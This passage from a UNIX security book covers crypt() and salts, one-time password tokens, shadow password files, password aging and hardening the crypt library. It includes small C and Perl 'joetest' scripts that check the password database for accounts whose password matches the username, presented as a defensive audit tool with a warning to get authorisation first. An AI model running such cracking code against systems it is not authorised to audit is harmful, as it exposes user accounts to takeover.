The security of this approach rests upon the strength of the encryption algorithm and the difficulty of guessing the user's password. To date, the crypt () algorithm has proven highly resistant to attacks. Unfortunately, users have a habit of picking easy-to-guess passwords (see Section 3.6.1, "Bad Passwords: Open Doors"), which creates the need for shadow password files.

NOTE: Don't confuse the crypt ( ) algorithm with the crypt encryption program. The crypt program uses a different encryption system from crypt ( ) and is very easy to break. See Chapter 6, Cryptography, for more details.

8.6.1 The crypt() Algorithm

The algorithm that crypt ( ) uses is based on the Data Encryption Standard (DES) of the National Institute of Standards and Technology (NIST). In normal operation, DES uses a 56-bit key (eight 7-bit ASCII characters, for instance) to encrypt blocks of original text, or clear text, that are 64 bits in length. The resulting 64-bit blocks of encrypted text, or ciphertext, cannot easily be decrypted to the original clear text without knowing the original 56-bit key.

The UNIX crypt ( ) function takes the user's password as the encryption key and uses it to encrypt a 64-bit block of zeros. The resulting 64-bit block of cipher text is then encrypted again with the user's password; the process is repeated a total of 25 times. The final 64 bits are unpacked into a string of 11 printable characters that are stored in the /etc/passwd file.[8]

[8] Each of the 11 characters holds six bits of the result, represented as one of 64 characters in the set ".", "/", 0-9, A-Z, a-z, in that order. Thus, the value 0 is represented as ".", and 32 is the letter "U".

Although the source code to crypt ( ) is readily available, no technique has been discovered (and publicized) to translate the encrypted password back into the original password. Such reverse translation may not even be possible. As a result, the only known way to defeat UNIX password security is via a brute-force attack (see the note below), or by a dictionary attack. A dictionary attack is conducted by choosing likely passwords, as from a dictionary, encrypting them, and comparing the results with the value stored in /etc/passwd. This approach to breaking a cryptographic cipher is also called a key search or password cracking.

Robert Morris and Ken Thompson designed crypt ( ) to make a key search computationally expensive, and therefore too difficult to be successful. At the time, software implementations of DES were usually slow; iterating the encryption process 25 times made the process of encrypting a single password 25 times slower still. On the original PDP-11 processors, upon which UNIX was designed, nearly a full second of computer time was required to encrypt a single password. To eliminate the possibility of using DES hardware encryption chips, which were a thousand times faster than software running on a PDP-11, Morris and Thompson modified the DES tables used by their software implementation, rendering the two incompatible. The same modification also served to prevent a bad guy from simply pre-encrypting an entire dictionary and storing it.

What was the modification? Morris and Thompson added a bit of salt, as we'll describe below.

NOTE: There is no published or known method to easily decrypt DES-encrypted text without knowing the key.[9] However, there have been many advances in hardware design since the DES was developed. Although there is no known software algorithm to "break" the encryption, you can build a highly parallel, special-purpose DES decryption engine that can try all possible keys in a matter of hours.

The cost of such a machine is estimated at several millions of dollars. It would work by using a brute-force attack of trying all possible keys until intelligible text is produced. Several million dollars is well within the budget of most governments, and a significant number of large corporations. A similar machine for finding UNIX passwords is feasible. Thus, passwords should not be considered as completely "unbreakable."

8.6.2 What Is Salt?

As table salt adds zest to popcorn, the salt that Morris and Thompson sprinkled into the DES algorithm added a little more spice and variety. The DES salt is a 12-bit number, between 0 and 4095, which slightly changes the result of the DES function. Each of the 4096 different salts makes a password encrypt a different way.

When you change your password, the /bin/passwd program selects a salt based on the time of day. The salt is converted into a two-character string and is stored in the /etc/passwd file along with the encrypted "password."[10] In this manner, when you type your password at login time, the same salt is used again. UNIX stores the salt as the first two characters of the encrypted password.

[10] By now, you know that what is stored in the /etc/passwd file is not really the encrypted password. However, everyone calls it that, and we will do the same from here on. Otherwise, we'll need to keep typing "the superencrypted block of zeros that is used to verify the user's password" everywhere in the book, filling many extra pages and contributing to the premature demise of yet more trees.

Table 8.2 shows how a few different words encrypt with different salts.

Table 8.2: Passwords and Salts
Password | Salt | Encrypted Password
nutmeg | Mi | MiqkFWCm1fNJI
ellen1 | ri | ri79KNd7V6.Sk
Sharon | ./ | ./2aN7ysff3qM
norahs | am | amfIADT2iqjAf
norahs | 7a | 7azfT5tIdyh0I

Notice that the last password, norahs, was encrypted two different ways with two different salts.

Having a salt means that the same password can encrypt in 4096 different ways. This makes it much harder for an attacker to build a reverse dictionary for translated encrypted passwords back into their unencrypted form: to build a reverse dictionary of 100,000 words, an attacker would need to have 409,600,000 entries. As a side effect, the salt makes it possible for a user to have the same password on a number of different computers and to keep this fact a secret (usually), even from somebody who has access to the /etc/passwd files on all of those computers; two systems would not likely assign the same salt to the user, thus ensuring that the encrypted password field is different.[11]

[11] This case occurs only when the user actually types in his or her password on the second computer. Unfortunately, in practice system administrators commonly cut and paste /etc/passwd entries from one computer to another when they build accounts for users on new computers. As a result, others can easily tell when a user has the same password on more than one system.

8.6.3 What the Salt Doesn't Do

Unfortunately, salt is not a cure-all. Although it makes the attacker's job of building a database of all encrypted passwords more difficult, it doesn't increase the amount of time required to search for a single user's password.

Another problem with the salt is that it is limited, by design, to one of 4096 different possibilities. In the 20 years since passwords have been salted, computers have become faster, hard disks have become bigger, and you can now put 4, 10, or even 20 gigabytes of information onto a single tape drive. As a result, password files have become once again a point of vulnerability, and UNIX vendors are increasingly turning to shadow password files and other techniques to fight password-guessing attacks. Yet another problem is that the salt is selected based on the time of day, which makes some salts more likely than others.

8.6.4 Crypt16() and Other Algorithms

Some UNIX operating systems, such as HP-UX, Ultrix, and BSD 4.4 can be configured to use a different crypt ( ) system library that uses 16 or more significant characters in each password. The algorithm may also use a significantly larger salt. This algorithm is often referred to as bigcrypt() or crypt16 (). You should check your user documentation to see if this algorithm is an option available on your system. If so, you should consider using it. The advantage is that these systems will have more secure passwords. The disadvantage is that the encrypted passwords on these systems will not be compatible with the encrypted passwords on other systems.

Previous: 8.5 Protecting the root Account | Practical UNIX & Internet Security | Next: 8.7 One-Time Passwords
8.5 Protecting the root Account | Book Index | 8.7 One-Time Passwords


[Chapter 8] 8.7 One-Time Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.6 The UNIX Encrypted Password System Chapter 8
Defending Your Accounts 		Next: 8.8 Administrative Techniques for Conventional Passwords

8.7 One-Time Passwords

If you manage computers that people will access over the Internet or other computer networks, then you should seriously consider implementing some form of one-time password system. Otherwise, an attacker can eavesdrop on your legitimate users, capture their passwords, and use those passwords again at a later time.

Is such network espionage likely? Absolutely. In recent years, people have broken into computers on key networks throughout the Internet and have installed programs called password sniffers (illustrated in Figure 8.2). These programs monitor all information sent over a local area network and silently record the first 20, 50 or 128 characters sent over each network connection.[12] In at least one case, a password sniffer captured tens of thousands of passwords within the space of a few weeks before the sniffer was noticed; the only reason the sniffer's presence was brought to the attention of the authorities was because the attacker was storing the captured passwords on the compromised computer's hard disk. Eventually, the hard disk filled up, and the computer crashed!

[12] Some sniffers have been discovered "in the wild" that record 1024 characters, or even the entire Telnet session. Sniffers have also recorded FTP and NFS transactions.

Figure 8.2: Password sniffing

One-time passwords,[13] as their name implies, are passwords which can be used only once, as we explained in Chapter 3, Users and Passwords. They are one of the only ways of protecting against password sniffers.

[13] Encryption offers another solution against password sniffing, although it is harder to implement in practice because of the need for compatible software on both sides of the network connection.

Another application which demands one-time passwords is mobile network computing, where the connection between computers is established over a radio channel. When radio is used, passwords are literally broadcast through the air, available for capture by anybody with a radio receiver. One way to ensure that a computer account will not be compromised is to make sure that a password, after transmittal, can never be used again.

There are many different one-time password systems available. Some of them require that the user carry a hardware device, such as a smart card or a special calculator. Others are based on cryptography, and require that the user run special software. Still others are based on paper. Figure 8.3, Figure 8.4, and Figure 8.5 show three commonly used systems; we'll describe them briefly in the following sections.

8.7.1 Integrating One-time Passwords with UNIX

In general, you do not need to modify existing software to use these one-time password systems. The simplest way to use them is to replace the user's login shell (as represented in the /etc/passwd file; see "Changing the Account's Login Shell") with a specialized program to prompt for the one-time password. If the user enters the correct password, the program then runs the user's real command interpreter. If an incorrect password is entered, the program can exit, effectively logging the user out. This puts two passwords on the account - the traditional account password, followed by the one-time password.

For example, here is an /etc/passwd entry for an account to which a Security Dynamics SecurID card key will be required to log in (see the next section):

tla:TcHypr3FOlhAg:237:20:Ted L. Abel:/u/tla:/usr/local/etc/sdshell

If you wish to use this technique, you must be sure that users cannot use the chsh program to change their shell back to a program such as /bin/sh which does not require one-time passwords.

A few versions of UNIX allow the system administrator to specify a program (or series of programs) to be used instead of, or in addition to, the standard password authentication. In these systems, the program(s) are run, one after another, and their return codes are examined. If any exit with an error code, the login is refused. AIX is one such system, and future versions of Solaris are slated to include such functionality.

NOTE: There are many ways to gain access to a UNIX system that do not involve running a shell, such as FTP and NFS. If you use a special shell to implement one-time-passwords, these methods of access will not use the alternative authentication system unless they are specifically modified. You may wish to disable them if you are unable to replace them with versions that use the alternate authentication mechanism.

8.7.2 Token Cards

One method is to use some form of token-based password generator. In this scheme, the user has a small card or calculator with a built-in set of pre-programmed authentication functions and a serial number. To log in to the host, the user must use the card, in conjunction with a password, to determine the one-time password. Each time the user needs to use a password, the card is consulted to generate one. Each use of the card requires a password known to the user so that the card cannot be used by anyone stealing it.

The approach is for the card to have some calculation based on the time and a secret function or serial number. The user reads a number from a display on the card, combines it with a password value, and uses this as the password. The displayed value on the card changes periodically, in a non-obvious manner, and the host will not accept two uses of the same number within this interval.

The SecurID shown in Figure 8.3 is one of the best-known examples of a time-based token. One version of the SecurID card is based on a patented technology to display a number that changes every 30-90 seconds. The number that is displayed is a function of the current time and date, and the ID of that particular card, and is synchronized with the server. Another version has a keypad which is used to enter a personal identification number (PIN) code. (Without the keypad, a password must be sent, and this password is vulnerable to eavesdropping.) The fob version shown in the figure provides stronger packaging; it's especially good for people who don't carry wallets or handbags, and carry the device in a pocket. The cards are the size of a credit card and have a small LCD window to display the output.

Figure 8.3: Security Dynamics SECURID cards and fob

A second approach taken with tokens is to present the user with a challenge at login. The SecureNet key shown in Figure 8.4 is a token that implements a simple, but secure, challenge-response system. Unlike the Security Dynamics products, the SecureNet key does not have an internal clock. To log in, the user contacts the remote machine, which displays a number as a challenge. The user types the challenge number into the card, along with its PIN. The key calculates a response and displays it. The user then types the response into the remote computer as her one-time password. The SecureNet key can be programmed to self-destruct if an incorrect password is entered more than a predefined number of times.

Figure 8.4: Digital Pathways SecureNet key card

There are many other vendors of one-time tokens, but the ideas behind their products are all basically the same. Some of these systems also can provide interesting add-on features, such as a duress code. If the user is being coerced to enter the correct password with the card value, he can enter a different password that will allow limited access, but will also trigger a remote alarm to notify management that something is wrong.

There are two common drawbacks of these systems: the cards tend to be a bit fragile, and they have batteries that eventually discharge. The cost-per-unit may be a significant barrier for an organization that doesn't have an appropriate budget for security (but they are cheaper than many major break-ins!). And the cards can be annoying, especially when you take 90 minutes to get to work, only to discover that you left your token card at home.

However, the token approach does work reliably and effectively. The vendors of these systems typically provide packages that easily integrate them into programs such as /bin/login, as well as libraries that allow you to integrate these tokens into your own systems as well. Several major corporations and labs have used these systems for years. Tokens eliminate the risks of password sniffing. They cannot be shared like passwords. Indeed, the tokens do work as advertised - something that may make them well worth the cost involved.

8.7.3 Code Books

A second popular method for supplying one-time passwords is to generate a codebook of some sort. This is a list of passwords that are used, one at a time, and then never reused. The passwords are generated in some way based on a shared secret. This method is a form of one-time pad (see Section 6.4.7, "An Unbreakable Encryption Algorithm").

When a user wishes to log in to the system in question, the user either looks up the next password in the code book, or generates the next password in the virtual codebook. This password is then used as the password to give to the system. The user may also need to specify a fixed password along with the codebook entry.

Codebooks can be static, in which case they may be printed out on a small sheet of paper to be carried by the user. Each time a password is used, the user crosses the entry off the list. After the list is completely used, the system administrator or user generates another list. Alternatively, the codebook entries can be generated by any PC the user may have (this makes it like a token-based system). However, this means that if the user is careless and leaves critical information on the PC (as in a programmed function key), anyone else with access to the PC may be able to log in as the user.

One of the best known forms of codebook schemes is that presented by S/Key. S/Key is a one-time password system developed at Bellcore based on a 1981 article by Leslie Lamport. With the system, each user is given a mathematical algorithm, which is used to generate a sequence of passwords. The user can either run this algorithm on a portable computer when needed, or can print out a listing of "good passwords" as a paper codebook. Figure 8.5 shows such a list.

Unfortunately, the developers of S/Key did not maintain the system or integrate it into freely redistributable versions of /bin/login, /usr/ucb/ftpd, and other programs that require user authentication. As a result, others undertook those tasks, and there are now a variety of S/Key implementations available on the Internet. Each of these has different features and functionality. We note the location of several of these systems in Appendix E, Electronic Resources.

Figure 8.5: S/Key password printout

Kerberos and DCE: Alternatives to One-Time Passwords?

Kerberos and DCE are two systems which allow workstations to authenticate themselves to services running on servers without ever sending a password in clear text over the network. At first glance, then, Kerberos and DCE appear immune to password sniffers. If used properly, they are so.

Unfortunately, Kerberos and DCE have their drawbacks. The first is that both systems require modification to both the client and the server: you cannot connect to a Kerberos service from any workstation on the Internet. Instead, you can only use workstations that are specially configured to run the exact version of Kerberos or DCE which your server happens to use.

A bigger problem, though, happens when users try to log into computers running Kerberos over the network. Take the example of an MIT professor, who wishes to access her MIT computer account from a colleague's computer at Stanford. In this case, the professor will sit down at the Stanford computer, telnet to the MIT computer, and type her password. As a result, her password will travel over the Internet in the clear on its way to the secure Kerberos workstation. In the process, it may be picked up by a password sniffer. The same could happen if she were using one of the many DCE implementations currently available.

Of course, Kerberos isn't supposed to work in this manner. At Stanford, the MIT professor is supposed to be able sit down at a Kerberos-equipped workstation and use it to transmit an encrypted password over the Internet using the standard Kerberos encryption scheme. The problem, though, is that the workstation must be able to locate the Kerberos server at MIT to use it, which often requires prior setup. And the Kerberos- (or DCE-) equipped workstation, with compatible versions of the software, needs to be at Stanford in the first place. Thus, while Kerberos and DCE may seem as if they are alternatives to one-time passwords, they unfortunately are not in many real-world cases.

The Kerberos system's biggest problem, though, is that it still allows users to pick bad passwords and to write them down.

Previous: 8.6 The UNIX Encrypted Password System | Practical UNIX & Internet Security | Next: 8.8 Administrative Techniques for Conventional Passwords
8.6 The UNIX Encrypted Password System | Book Index | 8.8 Administrative Techniques for Conventional Passwords


[Chapter 8] 8.8 Administrative Techniques for Conventional Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.7 One-Time Passwords Chapter 8
Defending Your Accounts 		Next: 9. Integrity Management

8.8 Administrative Techniques for Conventional Passwords

If you're a system administrator and you are stuck using conventional UNIX passwords, then you will find this section helpful. It describes a number of techniques that you can use to limit the danger of conventional passwords on your computer.

8.8.1 Assigning Passwords to Users

Getting users to pick good passwords can be very difficult. You can tell users horror stories and you can threaten them, but some users will always pick easy-to-guess passwords. Because a single user with a bad password can compromise the security of the entire system, some UNIX administrators assign passwords to users directly rather than letting users choose their own.

To prevent users from changing their own passwords, all that you have to do is to change the permissions on the /bin/passwd program that changes people's passwords.[14] Making the program executable only by people in the staff group, for example, will still allow staff members to change their own passwords, but will prevent other people from doing so:

[14] This technique requires changing permissions on any other password-changing software, such as yppasswd and nispasswd.

# chgrp staff /bin/passwd
# chmod 4750 /bin/passwd

Use this approach only if staff members are available 24 hours a day. Otherwise, if a user discovers that someone has been using her account, or if she accidentally discloses her password, the user is powerless to safeguard the account until she has contacted someone on staff.

Some versions of UNIX may have an administrator command that will allow you to prevent selected users from changing their passwords.[15] Thus, you do not need to change the permissions on the passwd program. You only need to disable the capability for those users who cannot be trusted to set good passwords on their own.

[15] On AIX, the root user can prevent ordinary users from changing their passwords by running the following: pwdadm -f ADMIN user or by editing /etc/security/passwd.

For example, in SVR4 UNIX, you can prevent a user from changing her password by setting the aging parameters appropriately (we discuss password aging in a few more pages). For example, to prevent Kevin from changing his password, you might use the command:

# passwd -n 60 -x 50 kevin

Note, however, that Kevin's password will expire in 50 days and will need to be reset by someone with superuser access.

8.8.2 Constraining Passwords

You can easily strengthen the passwd program to disallow users from picking easy-to-guess passwords - such as those based on the user's own name, other accounts on the system, or on a word in the UNIX dictionary. So far, however, many UNIX vendors have not made the necessary modifications to their software. There are some freeware packages available on the net, including npasswd and passwd+, which can be used for this purpose; both are available at popular FTP archives, including coast.cs.purdue.edu. Another popular system is anlpasswd, which has some advantages over npasswd and passwd+, and can be found at info.mcs.anl.gov.

Some versions of UNIX, most notably the Linux operating system, come supplied with npasswd. Other vendors would do well to follow this example.

An approach that is present in many versions of UNIX involves putting constraints on the passwords that users can select. Normally, this approach is controlled by some parameters accessed through the system administration interface. These settings allow the administrator to set the minimum password length, the number of nonalphabetic characters allowed, and so on. You might even be able to specify these settings per user, as well as per system.

One UNIX system that combines all these features in addition to password aging is AIX. By editing the security profile via the smit management tool, the administrator can set any or all of the following for all users or individually for each user (IBM's recommended settings are given for each):

  • The minimum and maximum age of passwords, in weeks (0, 12)

  • The number of days of warning to give before expiring a password (14)

  • The minimum length of the new password (6)

  • The minimum number of alphabetic and non-alphabetic characters that must be present in the new password (1, 1)

  • The maximum number of repeated characters allowed in the new password (3)

  • The minimum number of characters that must be different from those in the previous password (3)

  • The number of weeks before a password can be used again (26)

  • The number of new passwords that must be selected and used before an old password can be used again (8)

  • The name of a file of prohibited words that cannot be selected as passwords

  • A list of programs that can be run to check the password choice for acceptability

This list is the most comprehensive group of "settable" password constraints that we have seen. If you are using traditional passwords, having (and properly using!) options such as these can significantly improve the security of your passwords.

8.8.3 Cracking Your Own Passwords

A less drastic approach than preventing users from picking their own passwords is to run a program periodically to scan the /etc/passwd file for users with passwords that are easy to guess. Such programs, called password crackers, are (unfortunately?) identical to the programs that bad guys use to break into systems. The best of these crackers is a program called Crack. (We tell you in Appendix E, where to get it.) If you don't (or can't) use shadow password files, you definitely want to get and use the Crack program on your password file...because one of your users or an attacker will most certainly do so.

NOTE: Before you run a password cracker on your system, be sure that you are authorized to do so. You may wish to get the authorization in writing. Running a password cracker may give the impression that you are attempting to break into a particular computer. Unless you have proof that you were authorized to run the program, you may find yourself facing unpleasant administrative actions or possibly even prosecution for computer crime.

8.8.3.1 Joetest: a simple password cracker

To understand how a password-cracking program works, consider this program, which simply scans for accounts that have the same password as their username. From Chapter 3, remember that such accounts are known as "Joes." The program must be run as root if you have shadow password files installed on your system:

Example 8.1: Single Password Cracker

/*
* joetest.c:
*
* Scan for "joe" accounts -- accounts with the same username
*and password.
*/

#include <stdio.h>
#include <pwd.h>
int   main(int argc,char **argv)
{
    struct     passwd *pw;

    while(pw=getpwent() ){
        char     *crypt();
        char     *result;

        result = crypt(pw->pw_name,pw->pw_passwd);
        if(!strcmp(result,pw->pw_passwd)){
            printf("%s is a joe\n",pw->pw_name);
        }
    }
    exit(0);
}

To show you the advantages of the Perl programming language, we have rewritten this program:

#!/usr/local/bin/perl
#
# joetest
#
while (($name,$passwd) = getpwent) {
        print "$name is a joe\n" if (crypt($name,$passwd) eq $passwd);
}

To further demonstrate the power of Perl, consider the following script, which only runs under Perl5:

#!/usr/local/bin/perl
#
# super joetest
#
while (($name,$passwd) = getpwent) {
        print "$name has no password\n" if !$passwd;
        print "$name is a joe\n" if (crypt($name,$passwd) eq $passwd);
        print "$name is a JOE\n" if (crypt(uc($name), $passwd) eq $passwd);
        print "$name is a Joe\n" if (crypt(ucfirst($name), $passwd)
            eq $passwd);
        print "$name is a eoj\n" if (crypt(scalar reverse $name, $passwd)
            eq $passwd);
}

If you have the time, type in the above program and run it. You might be surprised to find a Joe or two on your system. Or simply get Crack, which will scan for these possibilities, and a whole lot more.

8.8.3.2 The dilemma of password crackers

Because password crackers are used both by legitimate system administrators and computer criminals, they present an interesting problem: if you run the program, a criminal might find its results and use them to break into your system! And, if the program you're running is particularly efficient, it may be stolen and used against you. Furthermore, the program you're using could always have more bugs or have been modified so that it doesn't report some bad passwords that may be present: instead, such passwords might be silently sent by electronic mail to an anonymous repository in Finland.

Instead of running a password cracker, you should prevent users from picking bad passwords in the first place. Nevertheless, this goal is not always reachable. For this reason, many system administrators run password crackers on a regular basis. If you run a program like Crack and find a bad password, you should disable the account immediately, because an attacker could also find it.

NOTE: If you run a password cracker and don't find any weak passwords, you shouldn't assume that there are none to find! You might not have as extensive a set of dictionaries as the people working against you: while your program reports no weak passwords found, outsiders might still be busy logging in using cracked passwords found with their Inuit, Basque, and Middle Druid dictionaries. Or an attacker may have booby-trapped your copy of Crack, so that discovered passwords are not reported but are sent to a computer in New Zealand for archiving. For these reasons, use password cracking in conjunction with user education, rather than as an alternative to it.

8.8.4 Password Generators

Under many newer versions of UNIX, you can prevent users from choosing their own passwords altogether. Instead, the passwd program runs a password generator that produces pronounceable passwords. To force users to use the password generator under some versions of System V UNIX, you select the "Accounts -> Defaults -> Passwords" menu from within the sysadmsh administrative program.

Most users don't like passwords that are generated by password generators: despite claims of the program's authors, the passwords really aren't that easy to remember. Besides, most users would much rather pick a password that is personally significant to them. Unfortunately, these passwords are also the ones that are easiest to guess.

Two more problems with generated passwords are that users frequently write them down to remember them, and that the password generator programs themselves can be maliciously modified to generate "known" passwords.

There are several freely available password generators that you can download and install on your system. The mkpasswd program by Don Libes is one such program, and it can be found in most of the online archives mentioned in Appendix E.

Instead of using password generators, you may want to install password "advisors" - programs that examine user choices for passwords and inform the users if the passwords are weak. There are commercial programs that do this procedure, such as password coach by Baseline Software, and various freeware and shareware filters such as passwd+. In general, these products may do comparisons against dictionaries and heuristics to determine if the candidate password is weak. However, note that these products suffer from the same set of drawbacks as password crackers - they can be modified to secretly record the passwords, and their knowledge base may be smaller than that used by potential adversaries. If you use an "advisor," don't be complacent!

8.8.5 Shadow Password Files

When the UNIX password system was devised, the simple security provided by the salt was enough. Computers were slow (by present standards), and hard disks were small. At the rate of one password encryption per second, the system would have taken three years and three months to encrypt the entire 25,000-word UNIX spelling dictionary with every one of the 4096 different salts. Simply holding the database would require more than 10 gigabytes of storage - well beyond the capacity of typical UNIX platforms.

The advantage to a computer criminal of such a database, however, would be immense. Such a database would reduce the time to do an exhaustive key search for a password from seven hours to a few seconds. Finding accounts on a computer that had weak passwords would suddenly become a simple matter.

Today, many of the original assumptions about the difficulty of encrypting passwords have broken down. For starters, the time necessary to calculate an encrypted password has shrunk dramatically. Modern workstations can perform up to several thousand password encryptions per second. Versions of crypt developed for supercomputers can encrypt tens of thousands of passwords in the same amount of time. Now you can even store a database of every word in the UNIX spelling dictionary encrypted with every possible salt on a single 10 gigabyte hard disk drive, or on a few high-density CD-ROMs.

Because of these developments, placing even encrypted passwords in the world-readable /etc/passwd file is no longer secure.[16] There is still no danger that an attacker can decrypt the passwords actually stored - the danger is simply that an attacker could copy your password file and then systematically search it for weak passwords. As a result, numerous vendors have introduced shadow password files.[17] UNIX systems that offer at least so-called C2-level security features have shadow password files, or the capability to install them.

[16] The /etc/passwd file must be world readable, because many, many programs need to consult it for UID to account name mappings, home directories, and username information. Changing the permissions breaks quite a few essential and convenient services.

[17] Shadow password files have been a standard part of AT&T UNIX since the introduction of SVR4. A number of add-on shadow password systems are available for other versions of UNIX; installing them requires having the source code to your UNIX system.

Shadow password files hold the same encrypted passwords as the regular UNIX password file: they simply prevent users from reading each other's encrypted passwords. Shadow files are protected so that they cannot be read by regular users; they can be read, however, by the setuid programs that legitimately need access. (For instance, SVR4 uses the file /etc/shadow, with protected mode 400, and owned by root; SunOS uses the file /etc/security/passwd.adjunct, where /etc/security is mode 700.) The regular /etc/passwd file has special placeholders in the password field instead of the regular encrypted values. Some systems substitute a special flag value, while others have random character strings that look like regular encrypted passwords: would-be crackers can then burn a lot of CPU cycles trying dictionary attacks on random strings.

If your system does not have shadow passwords, then you should take extra precautions to ensure that the /etc/passwd file cannot be read anonymously, either over the network or with the UUCP system. (How to do this is described in Chapter 15, UUCP, and Chapter 17.)

If you use shadow password files, you should be sure that there are no backup copies of the shadow password file that are publicly readable elsewhere on your system. Copies of passwd are sometimes left (often in /tmp or /usr/tmp) as editor backup files and by programs that install new system software. A good way to avoid leaving copies of your password files on your system is to avoid editing them with a text editor, or to exercise special care when doing so.

8.8.6 Password Aging and Expiration

Some UNIX systems allow the system administrator to set a "lifetime" for passwords.[18] With these systems, users whose passwords are older than the time allowed are forced to change their passwords the next time they log in. If a user's password is exceptionally old, the system may prevent the user from logging in altogether.

[18] Different systems use different procedures for password aging. For a description of how to set password lifetimes on your system, consult your system documentation.

Password aging can improve security. Even if a password is learned by an attacker and the account is surreptitiously used, that password will eventually be changed. Password aging can also help you discover when people have access to passwords and accounts that aren't properly registered. In one case we know about, when a computer center started password aging, four users suddenly discovered that they were all using the same account - without each other's knowledge! The account's password had simply not been changed for years, and the users had all been working in different subdirectories.

Users sometimes defeat password aging systems by changing an expired password to a new password and then back to the old password. A few password aging systems check for this type of abuse by keeping track of old and invalid passwords. Others prevent it by setting a minimum lifetime on the new password. Thus, if the password is changed, the user is forced to use it for at least a week or two before it can be changed again - presumably back to the old standby.[19] If you use password aging, you should explain to your users why it is important for them to avoid reusing old passwords.

[19] This is a bad idea, even though it is common on many SVR4 systems. It prevents the user from changing a password if it has been compromised, and it will not prevent a user from cycling between two favorite passwords again and again.

Under SVR4, you can set password aging using the -n (minimum days before the password can be change) and -x (maximum number of days) options (e.g., passwd -n 7 -x 42 sally). Setting the aging value to -1 disables aging.

Old-Style Password Aging

Older versions of UNIX had a form of password aging available, but it was usually not documented well, if it was documented at all. We describe it here for the sake of completeness.

To enable the old-style password aging, you would append a comma and two base-64 digits to the end of the password field in the /etc/passwd file for each user. The comma was not valid as part of an encoded password, and signalled that password aging was to be enabled for that user. The two digits encoded the aging parameters that are now set with the -x and -n options of the SVR4 passwd command, as described previously. The base-64 encoding is the same as that used for encoding passwords, and is described in the section called Section 8.6.1, "The crypt() Algorithm."

The first digit after the comma represented the number of weeks until the password expired (from the beginning of the current week). The second digit represented the minimum number of weeks that the password had to be kept before it could be changed again. These values would be calculated by the system administrator and then edited into the appropriate locations in the passwd file. After being set, the user would be prompted to choose a new password the next time he or she logged in. Then two more digits would be appended to the field in the file; these two digits would also be updated each time the passwd command was run successfully. These two digits encoded, in base-64, the time of the most recent password change, expressed as a number of weeks since the beginning of 1970. These digits were usually expressed in reverse order, as if base-64 wasn't obscure enough!

Putting simply a ",." at the end of a password field would require the password to be changed at the very next login. Most systems would then remove these characters, although we have heard tell that on some dimly remembered system, the characters would get changed into ",.z" (allow changes anytime, expire this one in 64 weeks).

Few systems were shipped with software to ease the task of calculating and setting these values manually. As another drawback, the users were given no warning before a password expired - the user logged in and was forced to change the password right then and there. Everyone we know who experienced the mechanism hated it and we do not believe it was widely used. The SVR4 mechanism is a great improvement, although still not ideal.

NOTE: Do not use the -n option with the password aging command! Configuring your system so that users are prevented from changing their password is stupid. Users can accidently disclose their passwords to others - for example, they might say their new password out loud when they are typing it in for the first time. If users are required to wait a minimum time before changing their passwords again, then their accounts will be vulnerable.

Password aging should not be taken to extremes. Forcing users to change their passwords more often than once every few months is probably not helpful. If users change their passwords so often that they find it difficult to remember what their current passwords are, they'll probably write these passwords down. Imagine a system that requires users to change their passwords every day. Expiration times that are too short may make the security worse, rather than better. Furthermore, it engenders discontent - feelings that the security mechanisms are annoying rather than reasonable. You may have good passwords, but having users who are constantly angry about the security measures in place probably negates any benefits gained.

On the other hand, if you want your users to change their passwords every minute, or every time that they log in, then you probably want to be using a one-time password system, such as those described in Section 8.7.1, "Integrating One-time Passwords with UNIXearlier in this chapter.

8.8.7 Algorithm and Library Changes

If you have the source code to your system, you can alter the crypt() library function to dramatically improve the resistance of your computer to password cracking. Here are some techniques you might employ:

  1. Change the number of encryption rounds from 25 to something over 200. This change will make the encryption routine operate more slowly, which is good. More importantly, it will make encrypted passwords generated on your computer different from passwords generated on other systems. This foils an attacker who obtains a copy of your /etc/passwd file and tries to crack it on a remote computer using standard software.

  2. Add a counter to the crypt() library call that keeps track of how many times it has been called within a single process. If a user's program calls it more than 5 or 10 times, log that fact with syslog, being sure to report the user's login name, tty and other pertinent information. Then start returning the wrong values![20]

    [20] Many sites feel uncomfortable with this advice to modify a system library to return wrong values. However, in our experience, few (if any) programs need to run crypt() more than a few times in a single process unless those processes are attempting to crack passwords. On the other hand, when we have worked with sites that have had problems with password cracking, those problems have stopped immediately when the crypt() routine was modified to behave in this manner. If you feel uncomfortable having some programs silently fail, you may wish to end their silence, and have them send email to the system administrator or log a syslogmessage when the crypt() routine is run more than a few times.

If you decide to implement this approach, there are some issues to be aware of:

  1. If your system uses shared libraries, be sure to update the crypt() in the shared library; otherwise, some commands may not work properly.

  2. If your system does not use shared libraries, be sure to update the crypt() function in your file libc.a, so that people who write programs that use crypt() will get the modified version.

  3. Be sure to re-link every program that uses crypt() so that they all get the new version of the routine. On most UNIX systems, that means generating new versions of (at least) the following programs:

/bin/login | /usr/sbin/in.rexecd
/bin/su | /usr/sbin/in.rlogind
/bin/passwd | /usr/sbin/in.rshd
/usr/sbin/in.ftpd |

  1. Some programs legitimately need to call the crypt() routine more than 10 times in a single process. For example, the server of a multiuser game program, which uses passwords to protect user characters, would need to call crypt() if it stored the passwords in an encrypted form (another good idea). For programs like these, you will need to provide a means for them to run with a version of the crypt() function that allows the function to be run an unlimited number of times.

Do these techniques work? Absolutely. A few years ago, there was a computer at MIT on which guest accounts were routinely given away to members of the local community. Every now and then, somebody would use one of those guest accounts to grab a copy of the password file, crack it, and then trash other people's files. (This system didn't have shadow passwords either.) The day after the above modifications were installed in the system's crypt() library, the break-ins stopped and the system's administrators were able to figure out who was the source of the mischief. Eventually, though, the system administrators gave up on modifications and went back to the standard crypt() function. That's because changing your crypt() has some serious drawbacks:

  • The passwords in your /etc/passwd file will no longer be compatible with an unaltered system,[21] and you won't be able to trade /etc/passwd entries with other computers.

    [21] This may be an advantage under certain circumstances. Being unable to trade encrypted passwords means being unable to have "bad" passwords on a computer that were generated on another machine. This is especially an issue if you modify your passwd program to reject bad passwords. On a recent sweep of numerous computers at AT&T, one set of machines was found to have uncrackable passwords, except for the passwords of two accounts that had been copied from other machines.

  • If your site transfers /etc/passwd entries between machines as ways of transferring accounts, then you will need to have the same crypt() modifications on each machine.

  • If you use NIS or NIS+, then you must use the same crypt() algorithm on all of the UNIX machines on your network.

  • You'll need to install your changes every time the software is updated, and if you cease to have access to the source, all of your users will have to set new passwords to access the system.

